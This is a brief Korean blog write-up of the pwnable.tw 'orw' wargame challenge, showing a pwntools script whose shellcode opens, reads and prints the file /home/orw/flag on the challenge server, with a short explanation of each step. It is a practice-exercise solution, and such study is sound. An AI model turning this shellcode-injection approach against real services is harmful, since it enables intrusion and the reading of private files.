xxvd 2018. 9. 27. 06:09

옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다.




1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote('chall.pwnable.tw',10001)
 
payload=asm(shellcraft.open("/home/orw/flag"))
payload+=asm(shellcraft.read("eax","esp",0x100))
payload+=asm(shellcraft.write(1,"esp",0x100))
 
p.sendline(payload)
 
p.recvuntil("shellcode:")
print p.recvline()
 
cs


이렇게 간단하다. 간단히 설명하면 open으로 /home/orw/flag를 열고 esp에 0x100만큼 받는다. eax는 fd.


그리고 esp에 read한 값을 write로 출력해주면 된다.


익스 코드가 엄청 짧아졌다 (신기)